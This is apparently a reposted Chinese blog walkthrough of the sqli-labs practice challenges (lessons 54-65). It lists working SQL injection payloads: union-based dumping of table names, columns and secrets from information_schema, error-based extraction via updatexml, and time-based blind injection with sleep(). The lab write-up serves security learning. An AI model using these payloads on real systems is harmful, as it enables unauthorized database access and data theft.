zoukankan      html  css  js  c++  java
  • sql-lib闯关之lesson54-65

    LESS54

    关卡要求:此挑战的目标是在不到10次的尝试中从数据库的随机表中转储(密钥       为了好玩,每次重置,挑战都会生成随机表名、列名和表数据。随时保持新鲜。

    ①判断列数(二分法)

    输入:?id=1' order by 3--+

    ②当前数据库

    输入:?id=-1' union select 1,2,database() --+

    ③查表

    输入:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' --+

     9po9d7v0i2

    ④查字段

    输入:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='9po9d7v0i2' --+

    ⑤查字段的值

    输入:?id=-1' union select 1,2,group_concat(concat_ws(0x7e,id,sessid,secret_AMI8,tryy)) from challenges.9po9d7v0i2 --+

     1fecbfa88f364df34c32702b62f11a7d9Sic5glsmSMXhqiRnTYvYP5qv4

    点击提交即可通过完毕。

     把你这个愚蠢的黑客赶走!

    LESS55

     参数:(1)

    次数:14次


    LESS56

    参数:(‘1’)

    次数:14次
    LESS57

    参数:“1”

    次数:14次
    LESS58

    次数:5次

    这关不能使用 union select 没有返回回显位置。

    我们使用报错注入。 

    ①查表

    数据库已知是challenges

    输入:?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),1) --+

    ②查字段

    输入:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='jxpizjpo9r')),1) --+

    ③查字段的值

    输入:?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_XMHT) from challenges.jxpizjpo9r)),1) --+

     

     恭喜你成功了!


    LESS59

    参数 :id=1  无包裹
    LESS60

    参数:id=(“1”)
    LESS61

    参数:id=((‘1’))
    LESS62

     一共130次,显而易见盲注它来了!!

    输入:?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+

    改变它的值逐次判断即可。
    LESS63

    参数:‘1’
    LESS64

    参数:((1))
    LESS65

    参数:(“1”)

  • 相关阅读:
    CSS属性中Display与Visibility的不同
    11
    【零基础学习iOS开发】【01-前言】01-开篇
    C#计算时间差。
    C++拷贝构造函数:浅拷贝与深拷贝
    C++:string操作函数
    文件输入输出(二):文件的操作
    文件输入输出(一):重定向
    Java中的StringBuffer
    C++中setiosflags()的用法
  • 原文地址:https://www.cnblogs.com/c1047509362/p/12512621.html
Copyright © 2011-2022 走看看